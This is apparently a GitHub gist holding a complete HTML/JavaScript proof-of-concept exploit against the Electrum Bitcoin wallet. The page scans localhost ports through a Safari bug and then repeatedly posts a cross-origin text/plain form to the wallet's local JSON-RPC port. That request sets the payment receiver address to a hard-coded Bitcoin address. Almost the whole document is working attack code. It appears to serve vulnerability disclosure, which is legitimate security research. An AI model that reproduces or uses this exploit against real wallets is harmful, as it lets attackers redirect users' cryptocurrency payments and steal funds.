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fransr/electrum.html

Last active November 30, 2021 11:03
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Revisions

  1. fransr revised this gist Jan 7, 2018. No changes.
  2. fransr created this gist Jan 7, 2018.
    70 changes: 70 additions & 0 deletions electrum.html
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,70 @@
    <body>
    <style>pre { white-space: inherit }</style>
    <pre id="log"></pre>
    <div id="ports" style="visibility: hidden; height: 0; width: 0;"></div>
    <iframe src="about:blank" name="x" id="x" style="display: none;"></iframe>
    </body>
    <script>
    var electrum = {
    logbreak: function() { e = document.createElement('br'); document.getElementById('log').appendChild(e); },
    log: function(s) { e = document.createElement('span'); e.innerText = s+" "; document.getElementById('log').appendChild(e); },
    ports: document.getElementById('ports'),
    found_port: false,
    port: 0
    }
    electrum.stage1 = function() {
    electrum.log('Checking "open" ports using Safari bug...')
    electrum.stage1.start(20000);
    }
    electrum.stage1.start = function(s) {
    electrum.log(s);
    electrum.stage1.images = []
    electrum.stage1.remove = function(e,x) {
    electrum.ports.removeChild(this)
    delete this
    }
    if(electrum.found_port) return;
    for(var i = s; i <= s+1000; i++) {
    var port = i;
    var x = document.createElement('embed');
    x.src = 'http://127.0.0.1:'+port+'/x';
    x.onload = electrum.stage1.done;
    x.onerror = electrum.stage1.remove;
    x.dataset.port = port
    x.dataset.i = i
    electrum.ports.appendChild(x)
    setTimeout(function(x) { electrum.ports.removeChild(x) },1000,x)
    electrum.stage1.images[i] = x
    }
    setTimeout(function(){electrum.stage1.start(s+1000);},2000);
    }
    electrum.stage1.done = function(e) {
    electrum.ports.removeChild(e.target)
    electrum.found_port = true;
    electrum.port = e.target.dataset.port;
    electrum.logbreak()
    electrum.log('Open port found: ' + e.target.dataset.port)
    electrum.stage2()
    }
    electrum.stage2 = function() {
    electrum.log('Will set receiver address in 5 secs');
    setTimeout(function() {
    electrum.stage2.start();
    })
    }
    electrum.stage2.start = function() {
    f = document.createElement('form');
    f.method = 'POST';
    f.target = 'x';
    f.enctype = 'text/plain';
    f.action = 'http://127.0.0.1:' + electrum.port + '/';
    i = document.createElement('input');
    i.type = 'hidden';
    i.name = '{"id":0,"method":"gui","params":[{"url":"bitcoin:1Jsjd6xL9NPzzUY5FxM7y614FFVKeg3QbM?';
    i.value = '"}]}';
    f.appendChild(i)
    setInterval(function() { f.submit(); }, 5000);
    }
    //electrum.port = '59768';
    electrum.stage1()
    </script>